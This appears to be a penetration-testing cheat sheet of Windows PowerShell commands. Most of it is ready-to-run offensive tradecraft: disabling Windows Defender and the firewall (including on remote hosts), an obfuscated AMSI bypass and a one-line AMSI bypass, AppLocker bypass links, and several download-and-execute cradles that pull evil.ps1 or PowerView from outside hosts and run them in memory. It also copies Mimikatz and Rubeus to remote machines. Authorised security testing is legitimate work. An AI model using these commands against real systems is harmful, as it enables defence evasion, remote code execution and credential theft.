black electronics

PowerShell

Common PowerShell commands and one-liners used during Windows penetration tests.

Here are some useful PowerShell commands that can help you in your penetration tests.

PowerShell Help

You may need to run Update-Help in PowerShell for the Get-Help command to work.

Terminal window
Get-Help Get-Item -Full # Lists help about the Get-Item cmdlet
Get-Help Get-Item -Examples # Gives examples of Get-Item usage

View current logged-in users’ privileges

Terminal window
whoami /priv

Check the name of the logged-in user

Terminal window
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name

List all cmdlets

Terminal window
Get-Command -CommandType Cmdlet

Bypass Execution Policy

Terminal window
powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand
$env:PSExecutionPolicyPreference="bypass"

Import Modules

Terminal window
Import-Module <modulepath>
Get-Command -Module <modulename> # lists all commands in a module

List all functions

Terminal window
ls function:

Search for files

Terminal window
gci -Recurse -File example.txt
gci -Recurse -File *.txt

Check language mode (Either see full or constrained)

Terminal window
$ExecutionContext.SessionState.LanguageMode
Invoke-Command -ScriptBlock {$ExecutionContext.SessionState.LanguageMode} -ComputerName adminsrv # List language mode on remote PC

Disable Windows Defender Real-Time Monitoring

Terminal window
Set-MpPreference -DisableRealtimeMonitoring $true # Must be admin
Set-MpPreference -DisableIOAVProtection $true # Must be admin

Disable Windows Defender on a remote system

Terminal window
$sess = New-PSSession -ComputerName computer.local
$sess
Invoke-Command -ScriptBlock{Set-MpPreference -DisableRealtimeMonitoring $true} -Session $sess

Disable Windows Firewall

Terminal window
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False # Must be admin

View the list of cached keys on the machine

Terminal window
klist
klist purge # Delete cached keys

Save output to file

Terminal window
Out-File -FilePath C:\test.txt
Tee-Object -file C:\test.txt # This displays the output on console and saves to file (like Tee on Linux)

If PowerShell.exe is blocked, .NET code can use System.Management.Automation NameSpace to load PowerShell functionality

https://github.com/api0cradle/UltimateAppLockerByPassList

https://github.com/api0cradle/LOLBAS

Terminal window
C:\Windows\Microsoft.NET\Framework\v4.0.30319>msbuild.exe pshell.xml

Run a program as a user (If you have credentials)

Terminal window
runas /netonly /User:ServiceAccount "powershell.exe"
Enter the password for ServiceAccount

AMSI Bypass

AMSI can be bypassed for the current session without admin rights by setting the amsiInitFailed of System.Management.Automation.AmsiUtils to true

Terminal window
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

One line AMSI bypass from Matt Graeber

Terminal window
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Download and execute script in memory

Terminal window
iex (iwr http://172.1.1.1/PowerView.ps1)
iex (iwr http://172.1.1.1/PowerView.ps1 -UseBasicParsing) # If you get Internet Explorer errors

Download execute cradles

Terminal window
iex (New-Object Net.WebClient) .DownloadString('https://webserver/payload/ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.1.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

PSv3 onwards

Terminal window
iex (iwr 'http://192.1.1.1/evil.ps1')
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.1.1/evil.ps1',$false);$h.send();iex $h.response.Text
$wr = [System.NET.WebRequest]::Create("http://192.168.1.1/evil.ps1")
$r = $wr.GetResponse()
IEX([System.IO.StreamREader]($r.GetResponseStream())).ReadToEnd()

Check AppLocker policy

Terminal window
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Copy files to the remote machine

Terminal window
Copy-Item .\Invoke-MimikatzEx.ps1 \\computer.local\c$\'Program Files'

Copy file to remote machine over PSSession

Terminal window
Copy-Item -ToSession $appsrvSess -Path .\Rubeus.exe -Destination c:\Users\appadmin\Downloads

Grep equivalent for PowerShell

Terminal window
type .\Valid.txt | Select-String -SimpleMatch "Valid"

Get the IP addresses of Hyper-V machines running

Terminal window
Get-VM -Name "VMName" | Select-Object -ExpandProperty NetworkAdapters | Select-Object VMName, IPAddresses
Get-VM | ? {$_.State -eq "Running"} | select -ExpandProperty networkadapters | select vmname, macaddress, switchname, ipaddresses | ft -wrap -autosize
Useful LinksPentest PayloadsCheat Sheets